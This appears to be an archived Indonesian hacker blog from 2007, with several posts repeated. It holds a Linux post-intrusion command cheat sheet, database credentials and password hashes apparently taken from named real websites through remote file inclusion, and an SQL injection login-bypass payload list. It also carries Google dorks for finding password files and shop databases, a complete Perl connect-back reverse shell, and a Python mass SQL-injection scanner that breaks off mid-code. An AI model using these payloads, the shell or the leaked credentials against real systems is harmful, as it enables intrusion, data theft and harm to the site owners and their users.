http://www.i-putra.com.my/sites/admin/detail.cfm?ID=2
DEFACE LAGI DEFACE LAGI
KETIMBANG NGANGGUR
HHEHEHEHEHE
Sunday, November 25, 2007
Thursday, November 22, 2007
linux commands in shell cat ./../mainfile.php - Config file. ls -la - Lists directory's. ifconfig {eth0 etc} - Ipconfig equiv. ps aux - Show running proccess's. gcc in_file -o out_file - Compile c file. cat /etc/passwd - List's accounts. sudo - Superuser Do run a command as root provided you have perms in /etc/sudoers. id - Tells you what user your logged in as. which wget curl w3m lynx - Check's to see what downloaders are present. uname -r - Shows all release info (or) cat /etc/release. uname -a - shows all kernal info (or) cat /etc/issue last -30 - Last logged 30 ip's can change to desired number. useradd - Create new user account. usermod - Modify user account. w - See who is currently logged on. locate password.txt - Locates password.txt in current dur can use *. rm -rf / - Please be carefull with this command, i cannot stress this enough. arp -a - Lists other machines are on the same subnet. lsattr -va - ls file attributes on linux second extended file system find / -type f -perm -04000 -ls - Finds suid files. find . -type f -perm -04000 -ls - Finds suid files in current dir. find / -type f -perm -02000 -ls - Finds all sgid files. find / -perm -2 -ls - Finds all writable files and folders. find . -perm -2 -ls - Finds all writable files and folders in current dir. find / -type f -name .bash_history - Finds bash history. netstat -an | grep -i listen - shows open ports. cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user with no pass. find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?. cat /proc/version /proc/cpuinfo - Cpu info. locate gcc- Finds gcc if installed. set - Display system variables. echo $path- Echo current path. lsmod- Dumps kernal modules. mount/df- Check mounted file system. rpm -qa- Check patch level for RedHat 7.0. dmesg- Check hardware ino. cat /etc/syslog.conf - Log file. uptime - Uptime check. cat /proc/meminfo - Memory check. find / -type f -perm -4 -print 2> /dev/null- Find readble files. find / -type f -perm -2 -print 2> /dev/null - Find writable files. chmod ### $folder - Chmod folder. ls -l -b - Verbosly list directory's | |
   |
Perintah2 Shell
ls -alfi : melihat daftar file di suatu direktori atau melihat atribut sebuah file
cat : melihat isi file
uname -a : melihat jenis OS serta versi
netstat -tnap : melihat koneksi keluar/masuk, atau listen
rm -rf : menghapus file atau direktori
cp : copy file
mv : mengganti nama file atau memindah file
echo : menampilkan kata yang dituliskan setelahnya
w : menampilkan user yang sedang login
whoami : menampilkan user kita sendiri
id : menampilkan user kita sendiri
mkdir : membuat direktori baru
touch : membuat file kosong
pwd : menampilkan irektori aktif
chown : mengganti kepemilikan file
chmod : mengganti atribut file
last : menampilkan daftar user-user yang pernah login
useradd : menambahkan user (root)
userdel : menghapus user (root)
usermod : memodifikasi user
passwd : mengganti password
su : ganti sebagai user lain
tar -zxvf : mengekstrak file tgz atau tar.gz
tar -czf : membuat file tgz
wget : mengambil suatu data dari suatu situs
lwp-download : mengambil suatu data dari suatu situs
curl : mengambil suatu data dari suatu situs
fetch : mengambil suatu data dari suatu situs (bsd)
ls -alfi
cat
uname -a : melihat jenis OS serta versi
netstat -tnap : melihat koneksi keluar/masuk, atau listen
rm -rf : menghapus file atau direktori
cp
mv : mengganti nama file atau memindah file
echo : menampilkan kata yang dituliskan setelahnya
w : menampilkan user yang sedang login
whoami : menampilkan user kita sendiri
id : menampilkan user kita sendiri
mkdir
touch
pwd : menampilkan irektori aktif
chown
chmod : mengganti atribut file
last : menampilkan daftar user-user yang pernah login
useradd : menambahkan user (root)
userdel : menghapus user (root)
usermod : memodifikasi user
passwd : mengganti password
su : ganti sebagai user lain
tar -zxvf : mengekstrak file tgz atau tar.gz
tar -czf
wget : mengambil suatu data dari suatu situs
lwp-download : mengambil suatu data dari suatu situs
curl : mengambil suatu data dari suatu situs
fetch : mengambil suatu data dari suatu situs (bsd)
Wednesday, November 21, 2007
Tuesday, November 20, 2007
Finally! The difference between PHP, ASP and other scripting languages.
PHPPHP uses a blend of interpretation and compilation in order to provide the best mix of performance and flexibility to programmers.
Behind the scenes, PHP compiles your script down to a series of instructions (called opcodes) whenever it is accessed. These instructions are then executed one by one until the script terminates. This is different from conventional compiled languages such as C++ where the code is compiled down to native executable code then that executable is run from then on. Instead, PHP re-compiles your script each time it is requested.
This constant recompilation may seem a waste of processor time, but it is actually not all that bad because you no longer need to worry about hand recompiling your scripts when you make any changes. On the flip side, many scripts take longer to compile than they do to execute!
Furthermore, it provides very quick feedback during development. If you have an error somewhere in your file, PHP will refuse to compile the page until you have fixed the problem, and you are able to step through execution of your code line by line until you find the problem.
The speed hit of regular compilation is nullified entirely by the use of PHP accelerators.
One major advantage to having interpreted code is that all memory used by the script is managed by PHP, and the language automatically cleans up after every script has finished. This means that you do not need to worry about closing database links, freeing memory assigned to images, and so on, because PHP will do it for you. That is not to say you should be lazy and make PHP do all the work - good programmers clean up themselves, and let PHP work as backup in case something is missed.
Perl
Perl is the most popular of the PHP alternatives out there, arguably because it is also the oldest. There is a large installed base of Perl out there; many open-source projects require Perl to be installed to work properly. It has the advantages of being very (very!) flexible, and also having a large collection of modules already written for it. However, it is let down by the fact that it is very easy to write obfuscated and confusing Perl without really realising you are doing so, and this has resulted in such marvels as the annual Obfuscated Perl Contest.
Well-written Perl scripts often look fairly like their PHP equivalent. The major cause for Perl's messy appearance is that many Perl programmers rely on "one-liners" - packing large amounts of functionality into just one line of code. Perl was once described very accurately by its creator, Larry Wall, when he argued that the front cover for his O'Reilly book on Perl should be a camel, saying that Perl was ugly but serviceable, and able to go long distances without much nourishment.
Perl is often a better choice when you want to take advantage of some of the pre-written libraries. CPAN, Perl's library repository, is very big, and there is a huge range of code for you to take, customise, and re-use. Perl also has a very active - and very cool - hacker community around it that's a whole lot of fun to be part of and is really a bedrock of support when you need it. Larry Wall and Damian Conway (both core Perl developers) are both rightfully revered as "alpha geeks" - people who really push the envelope of programming by doing cool new things. They are both very friendly, and and attend many conferences year round - go ahead and introduce yourself if you meet them, because they really are fascinating to talk to.
ASP
Active Server Pages (ASP) and ASP.NET is Microsoft's attempt to succeed in the web development market, and comes as standard with their web server, IIS. ASP has been mauled by the open source community ever since it came out, and they gave a variety of reasons: it is proprietary, single platform (Windows), and slow.
I would like to say, "Yes, yes, and yes", but I'm not going to try to pull the wool over your eyes. The reality is that ASP has been implemented on other platforms, and, when running on Windows and Microsoft Internet Information Services (IIS), is actually lightning-fast.
That coupled with the fact that you can write add-on modules for ASP using Visual Basic and COM would make the whole solution very attractive indeed if it were not for the fact that ASP only really works well on IIS. On other platforms there are many fewer features, and it generally runs a great deal slower. When running on Windows, the security issues and licensing costs tends to be the most important thing, particularly when an all-Microsoft solution stack is being used.
and
ASP/ASP.NET is generally favoured when an all-Microsoft stack is in place. When used on Windows, it is very easy to deploy .NET code to ASP.NET pages or even write your ASP pages using C#.
ColdFusion
ColdFusion used to be quite popular back in the hey-days of the dot.com boom because it is developed using a proprietary IDE designed for novice programmers who have no wish to see source code of any complexity.
For such a wizard-oriented system, ColdFusion performs fairly well. Performance is nothing to be desired, but development speed is good. Perhaps ColdFusion's biggest let-down is the price tag - you will certainly need to sit down before you see it. ColdFusion was bought out by Macromedia, and this has served to boost its corporate appeal in places where open-source is still frowned upon.
The main drawback to using ColdFusion is arguably its user-friendliness, which might sound odd at first, but let me clarify. With PHP and Perl, because the languages are so flexible, you have much more control over what happens and why. If something goes wrong in your code, it's normally very easy to track it down and solve the problem, or change your plans and implement a different solution to the same problem. Very often, stock ColdFusion has just one way to solve a problem, and this greatly reduces your control over the solution you make. However, at the very least, you can work using ColdFusion when you are in team with non-technical people.
The biggest advantage to ColdFusion is its IDE and the language it uses, "CFML" (ColdFusion Markup Language) - even junior programmers can learn the system and start making pages quickly. As a result, you will often find ColdFusion in use at very large companies where they use Visual Basic (another easy, but not very powerful or fast language) for offline work.
JSP
Java Servlet Pages has often been considered the "dark horse" in web scripting because at first many thought it would be overkill for the job and yet has managed to get quite a substantial community about it nonetheless. JSP has three key advantages over some of its competitors, which may be why it has done so well:
- It uses Java, a language that already has a large skill set of developers and a massive amount of functionality available. Java is also conducive to scalability as it distributes across multiple computers well.
- Sun, as well as other members of the community, has worked hard to promote the language and tools that support it, which means that JSP has a lot of backing inside larger enterprises.
- It strongly encourages templating of pages for maximum code re-use. Templates for PHP are widely available, but they are a great deal more popular in JSP.
JSP is a popular choice when existing back-end business logic is written in Java also, as this keeps the development team language-homogenous.
From: http://www.hudzilla.org/phpbook/read.php/2_2_5
Tuesday, November 13, 2007
sekarang mah udah Online tiap hariii. bisa nongkrong lama-lama diinternet, Pasang DSL eeuy dirumah....dari pada bengong, langsung aja gw browsing ngeoprek-ngoprek file-file lama yang tercecer dimana-mana. heheheh bahasanya cuukkk....
langsung aja deh....gw sebenernya gw merasa ketinggalan sekali perkembangan dunia underground ya semacam security lah(bahasa berat kali boooooo).....abis lama gak pernah ONLINE...paling juga Online di YM aja...itu biasa buat mozok aja ngilangin stress...
langsung gw beraksi. eng ing eng......berubah superman xixixixi....sok mantap..
lama gak main shell
abis Nyecan pake RFI
lumayan deh dapet
!scan administrator/components/com_x-shop/admin.x-shop.php?mosConfig_absolute_path= com_x-shop
$mosConfig_offline = '0';
$mosConfig_host = 'localhost';
$mosConfig_user = 'u_autoscan_d';
$mosConfig_password = '4u705c4n';
$mosConfig_db = 'autoscan_db';
$mosConfig_dbprefix = 'au_';
$mosConfig_lang = 'russian
http://autoscan.com.ua/administrator/components/com_x-shop/admin.x-shop.php?mosConfig_absolute_path=
Falfrir /neformat = ec7d56ebc5f82e6b922de0bdd1674d16
scanscop = bbd370eda96624f872fa068e195dbd54
DB_TYPE = "mssql";
$DB_HOST = "(local)";
$DB_NAME = "erl2";
$DB_USER = "erl2";
$DB_PASS = "erl2";
$DB_PREFIX = "Erl2_"
http://emis.erl.itri.org.tw:8080/erl2/
$mosConfig_editor = 'htmlarea2';
$mosConfig_offline = '0';
$mosConfig_host = 'localhost';
$mosConfig_user = 'admin';
$mosConfig_password = '2e2us0y2';
$mosConfig_db = 'mo_mswnl';
$mosConfig_dbprefix = 'mos_';
http://www.measurework.nl/mswnl/mambo4/administrator/
admin = c2e8571ba9f9342435385b37f4661506
Erik = b7c86bf6a26cdb6faa9a98bb6b6063a3
langsung aja deh....gw sebenernya gw merasa ketinggalan sekali perkembangan dunia underground ya semacam security lah(bahasa berat kali boooooo).....abis lama gak pernah ONLINE...paling juga Online di YM aja...itu biasa buat mozok aja ngilangin stress...
langsung gw beraksi. eng ing eng......berubah superman xixixixi....sok mantap..
lama gak main shell
abis Nyecan pake RFI
lumayan deh dapet
!scan administrator/components/com_x-shop/admin.x-shop.php?mosConfig_absolute_path= com_x-shop
$mosConfig_offline = '0';
$mosConfig_host = 'localhost';
$mosConfig_user = 'u_autoscan_d';
$mosConfig_password = '4u705c4n';
$mosConfig_db = 'autoscan_db';
$mosConfig_dbprefix = 'au_';
$mosConfig_lang = 'russian
http://autoscan.com.ua/administrator/components/com_x-shop/admin.x-shop.php?mosConfig_absolute_path=
Falfrir /neformat = ec7d56ebc5f82e6b922de0bdd1674d16
scanscop = bbd370eda96624f872fa068e195dbd54
DB_TYPE = "mssql";
$DB_HOST = "(local)";
$DB_NAME = "erl2";
$DB_USER = "erl2";
$DB_PASS = "erl2";
$DB_PREFIX = "Erl2_"
http://emis.erl.itri.org.tw:8080/erl2/
$mosConfig_editor = 'htmlarea2';
$mosConfig_offline = '0';
$mosConfig_host = 'localhost';
$mosConfig_user = 'admin';
$mosConfig_password = '2e2us0y2';
$mosConfig_db = 'mo_mswnl';
$mosConfig_dbprefix = 'mos_';
http://www.measurework.nl/mswnl/mambo4/administrator/
admin = c2e8571ba9f9342435385b37f4661506
Erik = b7c86bf6a26cdb6faa9a98bb6b6063a3
code BY pass SQL injecktion
pass:' union select * from tbluser where '1'='1
--------------------------------------------
user&pass : '<>'1
--------------------------------------------
user&pass : a'or'a'='a
--------------------------------------------
user : '<>1 and fldusername<>'
pass : '
--------------------------------------------
user&pass: ' and 1=1or '1'='1
--------------------------------------------
user : '+(select top 1 fldusername from tbluser)+'
pass : '+(select top 1 fldpassword from tbluser)+'
-------------------------------------------
user&pass: ' not in ('1') and '1'='1
-------------------------------------------
user&pass : 1'<'2
-------------------------------------------
user&pass : ' is not null and '1'='1
------------------------------------------
user :' oror ''='
pass:' oror ''='
------------------------------------------
user/pass :' oorr ''='
' or ' ,a'or'a'='a ,' oror ''='
Mengoptimalkan Penggunaan Search Engine
oleh fuhrer
Last Update : 10 Juli 2004
oleh fuhrer
Last Update : 10 Juli 2004
Internet adalah gudangnya dari informasi. Hampir semua hal yang berbentuk digital dapat kita temukan di sini. Di internet kita bisa mendapatkan berita yang serius sampai dengan obrolan tukang becak, software gratis sampai dengan yang paling mahal, file musik klasik sampai dengan Ikke Nurjanah. Tidak ada batasnya.
Di dunia underground, internet disalahgunakan untuk kegiatan-kegiatan illegal. Dari hacking, carding sampai dengan bajak-membajak software sudah tidak asing lagi.
Tapi untuk menemukan kebutuhan kita secara spesifik tidak selalu mudah, seperti mencari jarum dalam sekam, kecuali Anda bisa menggunakan search engine dengan efektif.
Saat ini Google (http://www.google.com) masih menjadi search engine yang paling handal, karena bisa menjangkau daerah-daerah yang bahkan seharusnya restricted. Begitu hebatnya Google, sampai-sampai kegiatan searching di internet disebut dengan googling.
Kali ini saya akan mengajak sodara-sodara sebangsa dan setanah air untuk belajar bersama-sama cara menggunakan Google dengan optimal.
Menggunakan Boolean
Bagi Anda yang pernah belajar programming tentu sudah mengerti apa itu boolean. Boolean dalam bahasa Indonesia mungkin mirip artinya dengan logika. Google mengenal beberapa tanda boolean, antara lain :
- tanda “+” atau AND
- tanda “–“ atau NOT
- OR
Tanda “+”
Tanda “+” (plus) atau “AND” digunakan untuk mencari informasi di internet yang mengandung dua kata atau lebih yang kita tentukan, misalnya :
wallpaper + free + download
Hasil pencarian Google adalah halaman-halaman web di mana setiap halaman mempunyai tiga kata tersebut. Jika suatu halaman web hanya memiliki salah satunya saja maka tidak akan ditampilkan oleh Google.
Tanda “-”
Jika Anda menginginkan informasi tentang sepeda motor tapi Anda tidak ingin informasi tersebut berhubungan dengan Honda, Anda dapat menuliskan :
sepeda + motor – honda
Hasil yang sama akan didapatkan dengan menuliskan :
sepeda + motor NOT honda
(kata NOT tidak harus ditulis dengan huruf besar).
Tanda “OR”
Hasil pencarian Google untuk dua kata atau lebih yang dihubungkan dengan tanda “OR” sama dengan jika kata-kata tersebut dipisahkan oleh spasi. Misalnya Anda mengingikankan informasi tentang kegiatan hacking atau carding di Indonesia, Anda dapat menuliskan :
indonesia + hacking OR carding.
Pencarian Frase
Yang dimaksud frase adalah kumpulan dua kata atau lebih. Pencarian frase tertentu menggunakan Google dapat dituliskan dengan menuliskan frase tersebut di antara tanda petik ( “ ), contoh :
“Introduction to SQL Injection”.
Dengan kata kunci tersebut, Google akan memberikan dokumen-dokumen yang persis memuat frase tersebut. Contoh yang lain :
“Seventh son of seventh son”.
Dengan frase tersebut, kemungkinan besar Google akan memberikan hasil lirik lagu Iron Maiden. Pencarian dengan frase ini hasilnya sangat tajam, pastikan Anda menguasainya.
OK, teknik searching di atas adalah dasar dari teknik-teknik pencarian informasi di internet. Walaupun diasumsikan kita menggunakan Google, sebenarnya teknik-teknik tersebut dapat digunakan pada hampir semua search engine. Selanjutnya kita akan menginjak teknik-teknik yang lebih mengasyikkan, dan hanya Google yang bisa melakukannya. Yeah, Google is the best.
Mencari Directory Index
Jika suatu folder atau directory tidak mengandung file index (index.html, index.htm, index.php atau index.asp), maka akan ditampilkan daftar file yang ada di folder atau directory tersebut, dan judul atau title dari halaman yang tampil tersebut akan menjadi “Index of /nama_folder”.
Misalnya kita ingin mencari file mp3, maka kita dapat masukkan kata kunci :
“index of” + mp3
“index of” + mp3s
(ingat pelajaran Bahasa Inggris saat kita SMP, mp3s adalah kata jamak dari mp3)
“index of” + mp3 + metallica
“index of” + mp3 + rock
Contoh yang lain, misalnya kita ingin mencari database dari sebuah online shop yang, siapa tahu, ada informasi tentang credit card :
“index of” + mdb
“index of” + shop + mdb
“index of” + order
“index of” + orders + mdb
“index of” + “cgi-bin” + order
Menggunakan kata bantu filetype
Dengan menggunakan kata bantu filetype, kita dapat mempertajam pencarian file dengan ekstensi tertentu, misal :
filetype:doc
filetype:mdb
filetype:pdf
Menggunakan kata bantu site
Kata bantu site berguna untuk pencarian situs dengan domain tertentu, misalnya kita mencari file MS Word di situs militer, maka ditulis :
filetype:doc site:.mil
Contoh yang lain :
“index of” + password site:.ac.id
“login.asp” site:.go.au
Menggunakan kata bantu inurl
Kata bantu inurl digunakan untuk menemukan situs yang memiliki url tertentu, misalnya :
inurl: wwwboard/passwd.txt
Pencarian dari kata tersebut akan menghasilkan kurang lebih 139 links, yang masing-masing akan menampilan string yang ada di file passwd.txt. Oh, ya wwwBoard adalah message board berbasis CGI yang secara default menyimpan passwordnya pada file passwd.txt dengan format username:password.
Menggunakan kata bantu intitle
Seperti kita tahu bahwa setiap halaman web memiliki judul atau title. Kata bantu intitle berfungsi mencari dokumen spesifik yang mempunyai judul atau title yang kita tentukan, misalnya :
intitle:"index of" htpasswd
intitle:"admin login”
intitle:"restricted”
Contoh Aplikasi
Berikut ini contoh-contoh nakal dari pemanfaatan Google :
“index of” + admin
“index of” + members
“index of” + account + mdb
“index of” + “accounts.mdb”
inurl:”admin/password.txt”
inurl:”admin/order.txt”
inurl:”shop/orders.log”
inurl:iisadmin
“index of” + “showcode.asp”
“index of” + “EIPC.mdb”
“index of” + “shop.mdb”
baca selengkapnya
www.johnny.ihackstuff.com
Mengoptimalkan Penggunaan Search Engine
oleh fuhrer
Last Update : 10 Juli 2004
oleh fuhrer
Last Update : 10 Juli 2004
Internet adalah gudangnya dari informasi. Hampir semua hal yang berbentuk digital dapat kita temukan di sini. Di internet kita bisa mendapatkan berita yang serius sampai dengan obrolan tukang becak, software gratis sampai dengan yang paling mahal, file musik klasik sampai dengan Ikke Nurjanah. Tidak ada batasnya.
Di dunia underground, internet disalahgunakan untuk kegiatan-kegiatan illegal. Dari hacking, carding sampai dengan bajak-membajak software sudah tidak asing lagi.
Tapi untuk menemukan kebutuhan kita secara spesifik tidak selalu mudah, seperti mencari jarum dalam sekam, kecuali Anda bisa menggunakan search engine dengan efektif.
Saat ini Google (http://www.google.com) masih menjadi search engine yang paling handal, karena bisa menjangkau daerah-daerah yang bahkan seharusnya restricted. Begitu hebatnya Google, sampai-sampai kegiatan searching di internet disebut dengan googling.
Kali ini saya akan mengajak sodara-sodara sebangsa dan setanah air untuk belajar bersama-sama cara menggunakan Google dengan optimal.
Menggunakan Boolean
Bagi Anda yang pernah belajar programming tentu sudah mengerti apa itu boolean. Boolean dalam bahasa Indonesia mungkin mirip artinya dengan logika. Google mengenal beberapa tanda boolean, antara lain :
- tanda “+” atau AND
- tanda “–“ atau NOT
- OR
Tanda “+”
Tanda “+” (plus) atau “AND” digunakan untuk mencari informasi di internet yang mengandung dua kata atau lebih yang kita tentukan, misalnya :
wallpaper + free + download
Hasil pencarian Google adalah halaman-halaman web di mana setiap halaman mempunyai tiga kata tersebut. Jika suatu halaman web hanya memiliki salah satunya saja maka tidak akan ditampilkan oleh Google.
Tanda “-”
Jika Anda menginginkan informasi tentang sepeda motor tapi Anda tidak ingin informasi tersebut berhubungan dengan Honda, Anda dapat menuliskan :
sepeda + motor – honda
Hasil yang sama akan didapatkan dengan menuliskan :
sepeda + motor NOT honda
(kata NOT tidak harus ditulis dengan huruf besar).
Tanda “OR”
Hasil pencarian Google untuk dua kata atau lebih yang dihubungkan dengan tanda “OR” sama dengan jika kata-kata tersebut dipisahkan oleh spasi. Misalnya Anda mengingikankan informasi tentang kegiatan hacking atau carding di Indonesia, Anda dapat menuliskan :
indonesia + hacking OR carding.
Pencarian Frase
Yang dimaksud frase adalah kumpulan dua kata atau lebih. Pencarian frase tertentu menggunakan Google dapat dituliskan dengan menuliskan frase tersebut di antara tanda petik ( “ ), contoh :
“Introduction to SQL Injection”.
Dengan kata kunci tersebut, Google akan memberikan dokumen-dokumen yang persis memuat frase tersebut. Contoh yang lain :
“Seventh son of seventh son”.
Dengan frase tersebut, kemungkinan besar Google akan memberikan hasil lirik lagu Iron Maiden. Pencarian dengan frase ini hasilnya sangat tajam, pastikan Anda menguasainya.
OK, teknik searching di atas adalah dasar dari teknik-teknik pencarian informasi di internet. Walaupun diasumsikan kita menggunakan Google, sebenarnya teknik-teknik tersebut dapat digunakan pada hampir semua search engine. Selanjutnya kita akan menginjak teknik-teknik yang lebih mengasyikkan, dan hanya Google yang bisa melakukannya. Yeah, Google is the best.
Mencari Directory Index
Jika suatu folder atau directory tidak mengandung file index (index.html, index.htm, index.php atau index.asp), maka akan ditampilkan daftar file yang ada di folder atau directory tersebut, dan judul atau title dari halaman yang tampil tersebut akan menjadi “Index of /nama_folder”.
Misalnya kita ingin mencari file mp3, maka kita dapat masukkan kata kunci :
“index of” + mp3
“index of” + mp3s
(ingat pelajaran Bahasa Inggris saat kita SMP, mp3s adalah kata jamak dari mp3)
“index of” + mp3 + metallica
“index of” + mp3 + rock
Contoh yang lain, misalnya kita ingin mencari database dari sebuah online shop yang, siapa tahu, ada informasi tentang credit card :
“index of” + mdb
“index of” + shop + mdb
“index of” + order
“index of” + orders + mdb
“index of” + “cgi-bin” + order
Menggunakan kata bantu filetype
Dengan menggunakan kata bantu filetype, kita dapat mempertajam pencarian file dengan ekstensi tertentu, misal :
filetype:doc
filetype:mdb
filetype:pdf
Menggunakan kata bantu site
Kata bantu site berguna untuk pencarian situs dengan domain tertentu, misalnya kita mencari file MS Word di situs militer, maka ditulis :
filetype:doc site:.mil
Contoh yang lain :
“index of” + password site:.ac.id
“login.asp” site:.go.au
Menggunakan kata bantu inurl
Kata bantu inurl digunakan untuk menemukan situs yang memiliki url tertentu, misalnya :
inurl: wwwboard/passwd.txt
Pencarian dari kata tersebut akan menghasilkan kurang lebih 139 links, yang masing-masing akan menampilan string yang ada di file passwd.txt. Oh, ya wwwBoard adalah message board berbasis CGI yang secara default menyimpan passwordnya pada file passwd.txt dengan format username:password.
Menggunakan kata bantu intitle
Seperti kita tahu bahwa setiap halaman web memiliki judul atau title. Kata bantu intitle berfungsi mencari dokumen spesifik yang mempunyai judul atau title yang kita tentukan, misalnya :
intitle:"index of" htpasswd
intitle:"admin login”
intitle:"restricted”
Contoh Aplikasi
Berikut ini contoh-contoh nakal dari pemanfaatan Google :
“index of” + admin
“index of” + members
“index of” + account + mdb
“index of” + “accounts.mdb”
inurl:”admin/password.txt”
inurl:”admin/order.txt”
inurl:”shop/orders.log”
inurl:iisadmin
“index of” + “showcode.asp”
“index of” + “EIPC.mdb”
“index of” + “shop.mdb”
baca selengkapnya
www.johnny.ihackstuff.com
Sunday, November 11, 2007
[Perl] Connect Back Shell
#!/usr/bin/perl
use IO::Socket;
# Priv8 ** Priv8 ** Priv8
# IRAN HACKERS SABOTAGE Connect Back Shell
# code by:LorD
# We Are :LorD-C0d3r-NT-\x90
# Email:LorD@ihsteam.com
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host
#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/bash';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF
#!/usr/bin/perl
use IO::Socket;
# Priv8 ** Priv8 ** Priv8
# IRAN HACKERS SABOTAGE Connect Back Shell
# code by:LorD
# We Are :LorD-C0d3r-NT-\x90
# Email:LorD@ihsteam.com
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host
#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 32769
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system = '/bin/bash';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST;echo --==Systeminfo==--; uname -a;echo;
echo --==Userinfo==--; id;echo;echo --==Directory==--; pwd;echo; echo --==Shell==-- ");
system($system);
#EOF
[python] SQL Scanner v1.0
#!/usr/bin/python
#SQL Scanner that will collect hosts using a google query. Will add the
#injection code to each host and search for md5 in the source.
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com
import sys, urllib2, re, sets, time, socket, httplib
def title():
print "\n\t d3hydr8[at]gmail[dot]com SQL Scanner v1.0"
print "\t-----------------------------------------------"
def usage():
title()
print "\n Usage: python SQLscan.py\n"
print "\n Example: python SQLscan.py -g inurl:'.gov' 200 -s '/index.php?offset=-1/**/UNION/**/SELECT/**/1,2,concat(password)/**/FROM/**/TABLE/*' -write sql_found.txt -v\n"
print "\t[options]"
print "\t -g/-google : Searches google for hosts"
print "\t -s/-sql : Vuln. file plux sql injection"
print "\t -w/-write : Writes potential SQL found to file"
print "\t -v/-verbose : Verbose Mode\n"
def StripTags(text):
finished = 0
while not finished:
finished = 1
start = text.find("<")
if start >= 0:
stop = text[start:].find(">")
if stop >= 0:
text = text[:start] + text[start+stop+1:]
finished = 0
return text
def timer():
now = time.localtime(time.time())
return time.asctime(now)
def geturls(query):
counter = 10
urls = []
while counter < int(num):
url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
opener = urllib2.build_opener(url)
opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
data = opener.open(url).read()
hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
#Lets add sites found to a list if not already or a google site.
#We don't want to upset the people that got our list for us.
for x in hosts:
if x.find('www') != -1:
x = x[x.find('www'):]
if x not in urls and re.search("google", x) == None:
urls.append(x)
counter += 10
return urls
def tester(victim):
if victim[:7] != "http://":
victim = "http://"+victim.rsplit("/",1)[0]+sql
if verbose ==1:
print "Testing:",victim
try:
source = urllib2.urlopen(victim.rsplit("/",1)[0]+sql, "80").read()
md5s = re.findall("[a-f0-9]"*32,source)
if len(md5s) >= 1:
md5s = list(sets.Set(md5s))
print "\n[!] MD5 Found:",''.join([str(i) for i in victim.split("/",3)[:3]])[5:]
for md5 in md5s:
print "\t[",md5,"]\n"
found_sql.append(victim)
except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine):
pass
except(KeyboardInterrupt):
